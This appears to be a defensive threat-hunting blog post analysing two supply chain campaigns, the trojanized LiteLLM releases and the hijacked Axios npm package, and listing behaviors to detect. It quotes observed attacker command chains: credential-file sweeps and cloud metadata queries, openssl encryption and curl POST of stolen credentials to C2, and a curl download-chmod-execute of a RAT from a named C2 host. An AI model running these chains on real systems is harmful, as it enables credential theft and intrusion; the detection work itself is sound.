Hunt Mode with Nebulock
This series breaks down modern threats by focusing on the one thing attackers cannot hide: behavior. It centers on the actions, decisions, and required steps that expose supply chain compromise. Rather than relying on signatures or package names, Hunt Mode focuses on the behaviors that remain consistent even as frameworks, tooling, and infrastructure change. It provides guidance on how to baseline, hunt, and validate malicious package activity in your environment. To hunt the behaviors in this post, you need visibility into process execution, parent-child relationships, filesystem activity in user and system directories, network connections, and command-line arguments. EDR process logs, package manager telemetry, and standard endpoint telemetry are sufficient to operationalize every behavior in this breakdown.
Two Campaigns, One Ecosystem, Same Behavioral Fingerprints
In recent weeks, two unrelated campaigns weaponized the open-source supply chain. TeamPCP trojanized LiteLLM, Aqua Trivy, Checkmarx KICS, and the Telnyx SDK across PyPI and npm. Separately, attackers hijacked a maintainer account on Axios, one of the most downloaded npm packages, and pushed a trojanized version containing a cross-platform RAT.
Supply chain attacks are not new. What is new is the pace and the precision.
In these two recent campaign groupings, we have different actors, different tooling, but the same fundamental constraint: both must install through package managers, execute outside the language runtime, access credentials, persist, and communicate externally. Each step leaves a behavioral trace that outlasts any IOC list.
This is the core problem with supply chain defense: the attack surface is the development workflow itself. pip install and npm install are not anomalies; they are the job. Both campaigns trojanized packages with established trust and millions of installs; the kind developers pin without a second thought. By the time a trojanized version is identified and yanked, the payload has already executed on every machine that installed it.
The following behaviors are what remain constant.
This breakdown draws on published research. H/t to the teams* that performed this analysis.
Package Managers Spawning Unexpected Children
Supply chain compromise begins at the moment of installation. When pip or npm starts spawning shells, encryption tools, or network utilities during installation, the package manager has become the initial access vector. Baseline what child processes are normal during installs and anything outside that baseline is worth investigating.
TeamPCP (LiteLLM)
Trojanized `litellm` versions 1.82.7 and 1.82.8 executed malicious code through `.pth` startup hooks on import. The payload immediately shelled out to system utilities:
pip install litellm → .pth hook → python → openssl, curl, bsdtar
Axios
The phantom dependency `plain-crypto-js` (auto-installed with `axios@1.14.1`) ran a `postinstall` script that spawned a shell, downloaded payloads, and backgrounded execution:
npm install axios → postinstall → node → sh → curl → nohup
What to Observe
postinstall scripts in package.json spawning shells or interpreterssetup.py or pyproject.toml executing code during pip installpip or npm spawning curl, bash, sh, python, or node as direct children- Interpreters writing files to user home directories,
/tmp, or application data paths during install - Packages installed from non-registry sources (direct URLs, local paths, Git refs) or with version pinning suddenly removed
Why It Stands Out
Package installation is predictable in mature environments. Build pipelines use lockfiles, approved registries, and defined dependency sets. When a package manager spawns a shell, downloads a file, or writes to an unexpected path during install, that is not normal package behavior; it is execution disguised as dependency resolution.
Postinstall hooks in particular are a reliable signal. Legitimate packages rarely need them. Malicious packages depend on them.
Code Execution Outside the Language Runtime
Legitimate packages use native language APIs. When a Python package shells out to openssl or an npm package spawns osascript, the execution has left the expected runtime boundary. This is a process tree anomaly that any parent-child query can surface.
TeamPCP (LiteLLM)
A .pth file (e.g., litellm_init.pth) in site-packages triggers an import on every Python startup. No explicit import of the compromised package needed. The payload then calls system binaries rather than Python libraries:
python startup → litellm_init.pth → import → subprocess(openssl, curl)
Axios
An AppleScript backdoor was written to a temp file and backgrounded with nohup. Multi-layer encoding (reversed Base64 + XOR with key OrDeR_7077) obscured the payload:
node → sh → nohup osascript /var/folders/.../T/6202033 > /dev/null 2>&1 &
What to Observe
- New
.pth files written to site-packages directories containing import statements or executable code rather than path entries - node processes spawning
sh, bash, cmd.exe, powershell, or osascript - Scripts executing from temp directories or paths inconsistent with the installed package location
python spawning node or vice versa outside expected build tooling- Multiple interpreter hops in a short execution window
Why It Stands Out
.pth files are one of the quietest execution mechanisms in the Python ecosystem. Every time the interpreter runs, it processes .pth files in site-packages. A malicious entry there executes silently, with no visible process name change and no user prompt. Most endpoint telemetry does not flag .pth modifications as execution events. Similarly, a Node process spawning AppleScript is not behavior associated with any legitimate npm package workflow.
The process chain itself is the anomaly.
Credential Harvesting from Developer Workstations
Developer workstations hold keys to cloud infrastructure, container orchestrators, and package registries. A single process touching three or more credential stores within minutes is not debugging, it is credential harvesting.
TeamPCP (LiteLLM)
The harvester swept SSH keys, AWS credentials, Kubernetes configs, Docker auth, npm tokens, vault tokens, and environment files in a single pass. On cloud-hosted environments, it also queried EC2 IMDS for IAM role credentials:
python → read ~/.ssh/id_* → read ~/.aws/credentials → read ~/.kube/config
python → connect 169.254.169.254 (IMDS) → steal IAM role → ListSecrets → GetSecretValue
Axio
The RAT performed lightweight reconnaissance rather than deep credential sweeps, identifying the host before deciding whether to escalate:
node child → id → hostname → ls
What to Observe
- Processes accessing
~/.ssh/, ~/.aws/, ~/.npmrc, ~/.netrc, or ~/.pypirc outside expected tooling - Bulk reads across multiple credential-bearing directories in short time windows
- HTTP requests to
169.254.169.254 (IMDS) from package manager children or interpreter processes - API calls to
secretsmanager:ListSecrets or secretsmanager:GetSecretValue from processes not associated with deployed application code - Non-interactive processes reading files typically accessed only by user-initiated tools
Why It Stands Out
Credential access is necessary for these campaigns' action-on-objectives. The behavioral signal is not the access to any single credential file but a pattern: rapid, cross-directory access to credential stores from a process that had no prior history of that behavior. Cloud metadata endpoint access from a pip or npm subprocess is a high-confidence indicator regardless of campaign attribution.
Persistence Disguised as System Components
Both campaigns disguised persistence by borrowing the names of trusted system components. The masqueraded file looks legitimate until you examine who created the file and what parent process owns it.
TeamPCP (LiteLLM)
node files run on every Python invocation system-wide. Filter out known legitimate files (setuptools.pth, easy-install.pth, distutils-precedence.pth). TeamPCP also installed a systemd user service masquerading as sysmon, a Windows concept with no legitimate presence on Linux:
site-packages/litellm_init.pth → executes on every python invocation
~/.config/systemd/user/sysmon.service → "System Telemetry Service"
Not observed in LiteLLM specifically: CanisterWorm (same TeamPCP campaign) created PostgreSQL-themed files (pgmon, pglog, .pg_state) from node parent processes. The Telnyx component placed msbuild.exe in Windows Startup folders.
Axios
A binary RAT was staged at /Library/Caches/com.apple.act.mond (Apple's reverse-DNS naming convention), but downloaded by curl from an external C2 server:
curl -o /Library/Caches/com.apple.act.mond -s http://sfrclak.com:8000/...
What to Observe
- New entries in
site-packages not associated with a known installed package - New systemd unit files or macOS Launch Agents/Daemons written to user or system service directories
- Services with names resembling system utilities (
sysmon, postgresql, sshd) pointing to unexpected binaries - Processes whose executable path does not match their reported name
- Binaries in
/Library/Caches/, /tmp/, or user home paths with names mimicking system processes
Why It Stands Out
Persistence mechanisms that impersonate system services and trusted runtimes are specifically designed to blend-in. An analyst who sees python3 or com.apple.act.mond in a process list may not immediately question it. The signal is in the path, the parent, and the creation context: a process named after a trusted binary running from a temp directory, or a "system daemon" downloaded by curl from an external IP, with no corresponding user-initiated action.
Encryption and Encoding to Evade Static Analysis
Encryption and encoding are normal in software. What is abnormal, is python spawning openssl as a subprocess, or a node child process performing multi-layer string decoding that resolves to URLs.
TeamPCP (LiteLLM)
A three-step openssl subprocess chain within seconds from the same Python parent:
python → openssl rand -out key.bin 32
python → openssl enc -aes-256-cbc -in creds -out creds.enc -pass file:key.bin
python → openssl pkeyutl -encrypt -inkey pub.pem -in key.bin -out key.bin.enc
Not observed in LiteLLM specifically: the Telnyx SDK component of the same TeamPCP campaign embedded malicious data in WAV audio frame metadata (hangup.wav, ringtone.wav).
Axios
Payloads were encoded using reversed Base64 strings decrypted with a XOR cipher at runtime.
encoded_string → reverse() → base64_decode() → xor(key="OrDeR_7077") → C2 URL
What to Observe
openssl invocations spawned from package manager or interpreter children- File writes with no recognizable format header (potential XOR or custom encoding)
- Audio or image files written to unexpected locations, particularly in temp or config directories
- Media file access from processes with no legitimate audio or image processing function, correlated with subsequent network activity
- Multi-step string decoding at runtime that resolves to URLs or executable code
Why It Stands Out
Evasion at this level indicates deliberate adversary opsec. The individual signals (an openssl call, a WAV file read, a string decode) may appear benign in isolation. The sequence, correlated with at-install execution and credential access, is the finding. Attackers using encryption chains and metadata embedding are intentionally engineering around detection.
Staging, Exfiltration, and Payload Delivery
The sequence in these next steps were: archive creation followed by HTTP POST from the same scripting parent, or download, followed by permission change & execution from a package manager parent.
TeamPCP (LiteLLM)
The harvester archives encrypted credentials and uploads them via HTTP POST with binary content headers.
In a recent confirmed true positive, this cycle repeated almost 850 times over 6+hours:
python → bsdtar -czf /tmp/xxx/tpcp.tar.gz encrypted_creds/
python → curl -X POST --data-binary @tpcp.tar.gz -H "Content-Type: application/octet-stream" C2
Axios
The postinstall chain downloaded a binary RAT, set permissions, and executed it:
node postinstall → curl -o /Library/Caches/com.apple.act.mond -s http://sfrclak.com:8000/...
→ chmod 770 → /bin/zsh -c execute
What to Observe
tar, zip, or gzip invocations from interpreter or build tool children- Archive creation in temp directories or user home paths immediately before outbound network connections
curl POST requests with binary data (--data-binary, -T) from non-user-initiated processes- Download-chmod-execute chains:
curl writing a file, followed by chmod +x, followed by execution
Why It Stands Out
The sequence is the detection: access credentials, create archive, transmit (or download), set permission, execute. Individually, tar and curl are unremarkable. Observed in sequence, from a process lineage rooted in a package install event, they indicate a possible exfiltration or payload delivery workflow.
C2 Infrastructure That Resists Takedown
Processes spawned by package managers should rarely make outbound connections to infrastructure the organization has never seen before. The C2 channel changes; the parent-child anomaly does not.
TeamPCP (LiteLLM)
Three C2 strategies:
- typosquatted domains mimicking the compromised vendors
DNS → models[.]litellm[.]com (typosquat)
DNS → scan[.]aquasecurtiy[.]org (typosquat, note misspelling)
- ICP blockchain canisters (CanisterWorm) that cannot be seized through traditional takedown
DNS → *.raw[.]icp0[.]io (blockchain C2)
- Ephemeral Cloudflare Quick Tunnels (randomized four-word subdomains)
DNS → *[.]trycloudflare[.]com (ephemeral tunnel)
Axios
Recently-registered domains on non-standard ports with no history of legitimate use:
DNS → callnrwise[.]com
DNS → sfrclak[.]com
TCP → 142.11.206[.]73[:]8000
What to Observe
- DNS queries for domains closely resembling legitimate package registries or vendor infrastructure
- Connections to domains registered recently or with low historical query volume
- Processes querying blockchain RPC endpoints or resolving decentralized infrastructure domains outside expected application context
- Outbound TCP on non-standard ports from interpreter or build tool processes
cloudflared or similar tunnel binaries executed from unexpected paths, or TLS connections with unexpected SNI values from non-browser processes
Why It Stands Out
Blockchain-based C2 is notable precisely because conventional domain takedown does not work against it. The C2 address lives on-chain, and as long as the chain exists, the infrastructure persists. Ephemeral or Domain Generation Algorithms (DGA) tunnels regenerate on every connection.
Detecting these requires looking at the query pattern rather than the destination: a developer tool querying a blockchain endpoint or connecting to a four-word Cloudflare subdomain has no legitimate reason to do so.
Lateral Movement via Stolen Developer Credentials
The most dangerous phase of a supply chain attack is not the initial compromise, but the action-on-objectives: what happens when stolen developer credentials unlock infrastructure far beyond a single workstation.
TeamPCP
K8s DaemonSet deployment from stolen ~/.kube/config credentials (pods named node-setup-*), npm token theft enabling worm propagation (CanisterWorm), and cross-account AssumeRole calls using IMDS-stolen IAM credentials:
stolen ~/.kube/config → kubectl apply DaemonSet node-setup-* (runs on every node)
stolen ~/.npmrc token → npm publish (trojanized versions of maintainer's packages)
stolen IMDS role → sts:AssumeRole → cross-account access
Axios
No documented lateral movement. The RAT's lightweight reconnaissance (id, hostname, ls) suggests selective targeting (identify the host first, escalate later) but public reporting has not documented a lateral movement phase (as of the writing of this blog).
What to Observe
- DaemonSet creation or modification from processes not associated with cluster management tooling
kubectl invocations from unexpected parent processes or user contexts- Reads of
~/.npmrc or npm credential stores correlated with subsequent npm publish activity - Package publishing events from developer workstations outside normal release windows or without corresponding source control commits
Why It Stands Out
npm token theft enabling worm propagation is a force multiplier. One compromised developer machine becomes the origin point for packages that infect the downstream environments of every consumer. The detection pivot is the correlation between credential access and publishing activity: if something reads npm credentials and then publishes, that sequence warrants immediate investigation regardless of whether the published package looks benign.
Behavioral Hunts Catch What Package Names Cannot
Two unique campaigns. Different actors, different tooling, different targets, but eight similar behavioral steps and eight similar detection opportunities. Every phase is load-bearing. Skip one, and the attack breaks. Package names change, versions get yanked, domains get burned. The behaviors remain because the adversary has little choice but to perform them.
If you hunt the behavior instead of the indicator, you detect the campaign, regardless of actor, tooling, or ecosystem.
Happy hunting.
*References
TeamPCP Campaign (LiteLLM, Telnyx, Trivy, KICS, CanisterWorm)
1. Wiz: Three's a Crowd: TeamPCP Trojanizes LiteLLM in Continuation of Campaign
2. Endor Labs: TeamPCP Isn't Done
3. JFrog: LiteLLM Compromised by TeamPCP
4. Aikido: Telnyx PyPI Compromised: TeamPCP & CanisterWorm
5. BerriAI: LiteLLM GitHub Issue #24512: Malicious Code in v1.82.7/1.82.8
Axios Campaign (plain-crypto-js / npm Account Takeover)
6. Elastic Security Labs: Inside the Axios Supply Chain Compromise
7. Elastic Security Labs: Axios Supply Chain Compromise Detections